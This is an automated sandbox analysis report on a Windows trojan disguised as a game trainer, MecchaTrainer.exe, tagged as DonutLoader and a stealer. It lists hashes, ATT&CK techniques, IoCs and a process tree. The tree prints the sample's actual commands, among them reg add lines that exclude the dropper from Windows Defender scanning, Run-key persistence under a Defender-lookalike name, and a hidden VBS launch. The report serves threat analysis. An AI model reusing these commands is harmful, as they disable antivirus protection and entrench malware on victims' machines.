donutloader | def580734d7194d862e5dac7d48980c392ba93ce5bf85c37f664666b61f83899

Analysis

max time kernel
151s
max time network
156s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/07/2026, 15:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
MecchaTrainer.exe
Size 80.9MB
Sample260702-styfbsd14m
SHA256 def580734d7194d862e5dac7d48980c392ba93ce5bf85c37f664666b61f83899
MD5 6bbf04841f5907661a1d85a386a256ec
SHA1 b74eebc3f8f079f2f92df1292655a715ec0d3dff
SHA512 57f6c3b5ff411fee896f5c77eb6825413335ecd6a2fa4b0c0164341c550ae5a07d7a8c26e26e9a5be1abf39a2c71351e6ce9497f4d38976812c8e64545244997
SSDEEP 1572864:aLdkJiqH3gzrsND0qzt4j0DFIABZI48z2Fi/S8JKBUmy+N5Xe6EfB7G7:a2SzrsNDjzqyaABZVPArg/bXeB7G7
TLSH
T1101833C847568A26C1DF5FFC122E17E29B1B4DB06739D0EF07678431F9A946AC68C24B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution donutloader loader persistence spyware stealer trojan

Malware Config

Signatures

Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
loader donutloader

Detects DonutLoader 1 IoCs

loader

resource	yara_rule
behavioral2/memory/6944-566-0x0000018BD44C0000-0x0000018BD46F3000-memory.dmp	family_donutloader

Suspicious use of NtCreateProcessExOtherParentProcess 11 IoCs

description	pid	Process	procid_target
PID 5928 created 6076	5928	component_1.exe	207
PID 5928 created 1916	5928	component_1.exe	209
PID 5928 created 6040	5928	component_1.exe	210
PID 5928 created 6044	5928	component_1.exe	211
PID 5928 created 7032	5928	component_1.exe	213
PID 5928 created 3068	5928	component_1.exe	214
PID 5928 created 5224	5928	component_1.exe	215
PID 5928 created 6076	5928	component_1.exe	207
PID 5928 created 6076	5928	component_1.exe	207
PID 5928 created 6044	5928	component_1.exe	211
PID 5928 created 6044	5928	component_1.exe	211

Windows security bypass 2 TTPs 9 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5040	powershell.exe
5960	powershell.exe
6940	powershell.exe
1092	powershell.exe
6020	powershell.exe
6384	powershell.exe
6384	powershell.exe
6940	powershell.exe
6796	powershell.exe
7316	powershell.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows Repair.lnk	component_2.exe

Executes dropped EXE 18 IoCs

pid	Process
4608	Installer.exe
4292	Installer.exe
6996	Installer.exe
1532	Installer.exe
5928	component_1.exe
6904	component_1.exe
2008	component_1.exe
4800	component_1.exe
2420	component_1.exe
4396	component_1.exe
6944	component_2.exe
6732	component_2.exe
5736	component_2.exe
4532	component_2.exe
6736	component_2.exe
2236	component_2.exe
7756	CoreWorker_cjnmQmKTOMnCzez.exe
2640	CoreWorker_cjnmQmKTOMnCzez.exe

Loads dropped DLL 13 IoCs

pid	Process
5912	MecchaTrainer.exe
5912	MecchaTrainer.exe
5912	MecchaTrainer.exe
4608	Installer.exe
4292	Installer.exe
4292	Installer.exe
6996	Installer.exe
1532	Installer.exe
4292	Installer.exe
4292	Installer.exe
4292	Installer.exe
4292	Installer.exe
6228	msedge.exe

Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 2 IoCs

Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

defense_evasion

File/Path Exclusions

T1564.012

Disable or Modify Tools

T1562.001

pid	Process
6068	cmd.exe
2092	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

System Binary Proxy Execution: Rundll32 1 TTPs 4 IoCs

Abuse Rundll32 to proxy execution of malicious code.

defense_evasion

Rundll32

T1218.011

pid	Process
4316	cmd.exe
6620	rundll32.exe
1328	cmd.exe
6668	rundll32.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1935666426-3801330415-1166019131-1000\Software\Microsoft\Windows\CurrentVersion\Run\CoreWorker_cjnmQmKTOMnCzez = "C:\\Users\\Admin\\AppData\\Local\\MpDefenderCoreFolder\\CoreWorker_cjnmQmKTOMnCzez.exe"	component_2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1935666426-3801330415-1166019131-1000\Software\Microsoft\Windows\CurrentVersion\Run\CoreWorker_cjnmQmKTOMnCzez = "C:\\Users\\Admin\\AppData\\Local\\MpDefenderCoreFolder\\CoreWorker_cjnmQmKTOMnCzez.exe"	CoreWorker_cjnmQmKTOMnCzez.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\CoreWorker_cjnmQmKTOMnCzez = "C:\\Users\\Admin\\AppData\\Local\\MpDefenderCoreFolder\\CoreWorker_cjnmQmKTOMnCzez.exe"	CoreWorker_cjnmQmKTOMnCzez.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Hide Artifacts: Hidden Window 1 TTPs 5 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
6404	cmd.exe
6068	cmd.exe
1004	cmd.exe
2092	cmd.exe
6660	cmd.exe

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	api.ipify.org
18	ifconfig.me
20	ifconfig.me
25	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Suspicious use of NtSetInformationThreadHideFromDebugger 19 IoCs

pid	Process
5928	component_1.exe
6904	component_1.exe
2008	component_1.exe
4800	component_1.exe
2420	component_1.exe
6944	component_2.exe
6944	component_2.exe
4396	component_1.exe
6732	component_2.exe
6732	component_2.exe
6944	component_2.exe
6944	component_2.exe
5736	component_2.exe
5736	component_2.exe
4532	component_2.exe
6736	component_2.exe
6736	component_2.exe
2236	component_2.exe
2236	component_2.exe

Drops file in Windows directory 11 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6228_1871721982\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6228_1515105401\safety_tips.pb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6228_1515105401\typosquatting_list.pb	msedge.exe
File opened for modification	C:\Windows\SystemTemp	Installer.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6228_1515105401\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6228_1515105401\_metadata\verified_contents.json	msedge.exe
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6228_1871721982\domain_actions.dll	msedge.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
6068	cmd.exe
2092	cmd.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MecchaTrainer.exe

System Time Discovery 1 TTPs 4 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
7748	msedge.exe
6044	chrome.exe
696	msedge.exe
2496	chrome.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	component_1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	component_1.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	component_2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	component_2.exe

Enumerates system info in registry 2 TTPs 12 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Modifies data under HKEY_USERS 10 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134274798322985753"	chrome.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1935666426-3801330415-1166019131-1000\{BCF673C0-9F6D-464F-BFCB-BA82FBD6935B}	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	explorer.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
6384	powershell.exe
6384	powershell.exe
6384	powershell.exe
5928	component_1.exe
5928	component_1.exe
5928	component_1.exe
5928	component_1.exe
5928	component_1.exe
5928	component_1.exe
6904	component_1.exe
6904	component_1.exe
6904	component_1.exe
6904	component_1.exe
6904	component_1.exe
6904	component_1.exe
2008	component_1.exe
2008	component_1.exe
2008	component_1.exe
2008	component_1.exe
2008	component_1.exe
2008	component_1.exe
4800	component_1.exe
4800	component_1.exe
4800	component_1.exe
4800	component_1.exe
4800	component_1.exe
4800	component_1.exe
5960	powershell.exe
5960	powershell.exe
5960	powershell.exe
2420	component_1.exe
2420	component_1.exe
2420	component_1.exe
2420	component_1.exe
2420	component_1.exe
2420	component_1.exe
4396	component_1.exe
4396	component_1.exe
4396	component_1.exe
4396	component_1.exe
4396	component_1.exe
4396	component_1.exe
6940	powershell.exe
6940	powershell.exe
6940	powershell.exe
1092	powershell.exe
1092	powershell.exe
1092	powershell.exe
6944	component_2.exe
6944	component_2.exe
6944	component_2.exe
5928	component_1.exe
6944	component_2.exe
6944	component_2.exe
6944	component_2.exe
5928	component_1.exe
5928	component_1.exe
5928	component_1.exe
5928	component_1.exe
6944	component_2.exe
6944	component_2.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 29 IoCs

pid	Process
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6228	msedge.exe
6228	msedge.exe
6056	chrome.exe
6056	chrome.exe
6056	chrome.exe
6056	chrome.exe
6056	chrome.exe
7452	msedge.exe
7452	msedge.exe
7452	msedge.exe
7452	msedge.exe
7452	msedge.exe
7452	msedge.exe
7452	msedge.exe
7452	msedge.exe
7452	msedge.exe
7452	msedge.exe
7452	msedge.exe
7452	msedge.exe
6228	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeSecurityPrivilege	5912	MecchaTrainer.exe
Token: SeShutdownPrivilege	4608	Installer.exe
Token: SeCreatePagefilePrivilege	4608	Installer.exe
Token: SeShutdownPrivilege	4608	Installer.exe
Token: SeCreatePagefilePrivilege	4608	Installer.exe
Token: SeDebugPrivilege	4968	powershell.exe
Token: SeIncreaseQuotaPrivilege	4968	powershell.exe
Token: SeSecurityPrivilege	4968	powershell.exe
Token: SeTakeOwnershipPrivilege	4968	powershell.exe
Token: SeLoadDriverPrivilege	4968	powershell.exe
Token: SeSystemProfilePrivilege	4968	powershell.exe
Token: SeSystemtimePrivilege	4968	powershell.exe
Token: SeProfSingleProcessPrivilege	4968	powershell.exe
Token: SeIncBasePriorityPrivilege	4968	powershell.exe
Token: SeCreatePagefilePrivilege	4968	powershell.exe
Token: SeBackupPrivilege	4968	powershell.exe
Token: SeRestorePrivilege	4968	powershell.exe
Token: SeShutdownPrivilege	4968	powershell.exe
Token: SeDebugPrivilege	4968	powershell.exe
Token: SeSystemEnvironmentPrivilege	4968	powershell.exe
Token: SeRemoteShutdownPrivilege	4968	powershell.exe
Token: SeUndockPrivilege	4968	powershell.exe
Token: SeManageVolumePrivilege	4968	powershell.exe
Token: 33	4968	powershell.exe
Token: 34	4968	powershell.exe
Token: 35	4968	powershell.exe
Token: 36	4968	powershell.exe
Token: SeIncreaseQuotaPrivilege	4968	powershell.exe
Token: SeSecurityPrivilege	4968	powershell.exe
Token: SeTakeOwnershipPrivilege	4968	powershell.exe
Token: SeLoadDriverPrivilege	4968	powershell.exe
Token: SeSystemProfilePrivilege	4968	powershell.exe
Token: SeSystemtimePrivilege	4968	powershell.exe
Token: SeProfSingleProcessPrivilege	4968	powershell.exe
Token: SeIncBasePriorityPrivilege	4968	powershell.exe
Token: SeCreatePagefilePrivilege	4968	powershell.exe
Token: SeBackupPrivilege	4968	powershell.exe
Token: SeRestorePrivilege	4968	powershell.exe
Token: SeShutdownPrivilege	4968	powershell.exe
Token: SeDebugPrivilege	4968	powershell.exe
Token: SeSystemEnvironmentPrivilege	4968	powershell.exe
Token: SeRemoteShutdownPrivilege	4968	powershell.exe
Token: SeUndockPrivilege	4968	powershell.exe
Token: SeManageVolumePrivilege	4968	powershell.exe
Token: 33	4968	powershell.exe
Token: 34	4968	powershell.exe
Token: 35	4968	powershell.exe
Token: 36	4968	powershell.exe
Token: SeIncreaseQuotaPrivilege	4968	powershell.exe
Token: SeSecurityPrivilege	4968	powershell.exe
Token: SeTakeOwnershipPrivilege	4968	powershell.exe
Token: SeLoadDriverPrivilege	4968	powershell.exe
Token: SeSystemProfilePrivilege	4968	powershell.exe
Token: SeSystemtimePrivilege	4968	powershell.exe
Token: SeProfSingleProcessPrivilege	4968	powershell.exe
Token: SeIncBasePriorityPrivilege	4968	powershell.exe
Token: SeCreatePagefilePrivilege	4968	powershell.exe
Token: SeBackupPrivilege	4968	powershell.exe
Token: SeRestorePrivilege	4968	powershell.exe
Token: SeShutdownPrivilege	4968	powershell.exe
Token: SeDebugPrivilege	4968	powershell.exe
Token: SeSystemEnvironmentPrivilege	4968	powershell.exe
Token: SeRemoteShutdownPrivilege	4968	powershell.exe
Token: SeUndockPrivilege	4968	powershell.exe

Suspicious use of FindShellTrayWindow 39 IoCs

pid	Process
4608	Installer.exe
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6076	chrome.exe
6228	msedge.exe
6056	chrome.exe
6056	chrome.exe
7452	msedge.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2624	explorer.exe
5568	explorer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5912 wrote to memory of 4608	5912	MecchaTrainer.exe	89
PID 4608 wrote to memory of 4292	4608	Installer.exe	90
PID 4608 wrote to memory of 3888	4608	Installer.exe	91
PID 3888 wrote to memory of 7056	3888	cmd.exe	93
PID 7056 wrote to memory of 7028	7056	net.exe	94
PID 4608 wrote to memory of 6996	4608	Installer.exe	95
PID 4608 wrote to memory of 1532	4608	Installer.exe	96
PID 4608 wrote to memory of 1816	4608	Installer.exe	97
PID 1816 wrote to memory of 4868	1816	cmd.exe	99
PID 4868 wrote to memory of 7152	4868	net.exe	100
PID 4608 wrote to memory of 2636	4608	Installer.exe	101
PID 4608 wrote to memory of 1888	4608	Installer.exe	102
PID 4608 wrote to memory of 1864	4608	Installer.exe	103
PID 4608 wrote to memory of 6316	4608	Installer.exe	105
PID 4608 wrote to memory of 4744	4608	Installer.exe	106
PID 4608 wrote to memory of 984	4608	Installer.exe	107
PID 4608 wrote to memory of 4964	4608	Installer.exe	108
PID 4608 wrote to memory of 1412	4608	Installer.exe	109
PID 4608 wrote to memory of 2468	4608	Installer.exe	111
PID 4608 wrote to memory of 2176	4608	Installer.exe	112
PID 4608 wrote to memory of 1224	4608	Installer.exe	114
PID 4608 wrote to memory of 2168	4608	Installer.exe	115
PID 4608 wrote to memory of 4864	4608	Installer.exe	117
PID 4608 wrote to memory of 2800	4608	Installer.exe	119
PID 4608 wrote to memory of 2508	4608	Installer.exe	123
PID 4608 wrote to memory of 2852	4608	Installer.exe	124
PID 2176 wrote to memory of 4476	2176	cmd.exe	133
PID 6316 wrote to memory of 3172	6316	cmd.exe	134
PID 2636 wrote to memory of 5168	2636	cmd.exe	135
PID 1224 wrote to memory of 4516	1224	cmd.exe	136
PID 984 wrote to memory of 3764	984	cmd.exe	137
PID 2168 wrote to memory of 5044	2168	cmd.exe	138
PID 2468 wrote to memory of 1132	2468	cmd.exe	139
PID 1864 wrote to memory of 5876	1864	cmd.exe	140
PID 4864 wrote to memory of 816	4864	cmd.exe	141
PID 1412 wrote to memory of 2376	1412	cmd.exe	142
PID 2508 wrote to memory of 6448	2508	cmd.exe	143
PID 2852 wrote to memory of 4968	2852	cmd.exe	144
PID 1888 wrote to memory of 4620	1888	cmd.exe	145
PID 4744 wrote to memory of 5452	4744	cmd.exe	146
PID 2800 wrote to memory of 5736	2800	cmd.exe	147
PID 4964 wrote to memory of 1916	4964	cmd.exe	148
PID 4608 wrote to memory of 6208	4608	Installer.exe	150
PID 6208 wrote to memory of 2408	6208	cmd.exe	152
PID 4608 wrote to memory of 4248	4608	Installer.exe	153
PID 4248 wrote to memory of 2760	4248	cmd.exe	155
PID 4608 wrote to memory of 4272	4608	Installer.exe	156
PID 4272 wrote to memory of 2496	4272	cmd.exe	158
PID 4608 wrote to memory of 3908	4608	Installer.exe	159
PID 3908 wrote to memory of 1588	3908	cmd.exe	161
PID 4608 wrote to memory of 6556	4608	Installer.exe	162
PID 6556 wrote to memory of 2104	6556	cmd.exe	164
PID 4608 wrote to memory of 6068	4608	Installer.exe	165
PID 6068 wrote to memory of 6384	6068	cmd.exe	167
PID 4608 wrote to memory of 5928	4608	Installer.exe	168
PID 4608 wrote to memory of 6684	4608	Installer.exe	169
PID 6684 wrote to memory of 5712	6684	cmd.exe	171
PID 5712 wrote to memory of 6904	5712	cmd.exe	172
PID 4608 wrote to memory of 3340	4608	Installer.exe	173
PID 3340 wrote to memory of 5620	3340	cmd.exe	175
PID 2624 wrote to memory of 2008	2624	explorer.exe	177
PID 4608 wrote to memory of 4316	4608	Installer.exe	178
PID 4316 wrote to memory of 6620	4316	cmd.exe	180
PID 6620 wrote to memory of 4800	6620	rundll32.exe	181

C:\Users\Admin\AppData\Local\Temp\MecchaTrainer.exe
"C:\Users\Admin\AppData\Local\Temp\MecchaTrainer.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5912
- C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe
  C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:4608
- - C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe
    "C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1652 --field-trial-handle=1660,i,3881971339328927514,5293030370427527216,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:4292
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3888
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:7056
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:7028
- - C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe
    "C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --mojo-platform-channel-handle=2024 --field-trial-handle=1660,i,3881971339328927514,5293030370427527216,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:3
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:6996
- - C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe
    "C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --app-path="C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\resources\app" --enable-sandbox --no-sandbox --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --mojo-platform-channel-handle=2196 --field-trial-handle=1660,i,3881971339328927514,5293030370427527216,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:1
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1532
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1816
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4868
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:7152
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\wmi_ee39e8ce.vbs""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2636
  - - C:\Windows\system32\wscript.exe
      wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\wmi_ee39e8ce.vbs"
      4⤵
      PID:5168
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1888
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:4620
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1864
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe" /t REG_DWORD /d 0 /f
      4⤵
      PID:5876
- - C:\Windows\system32\cmd.exe
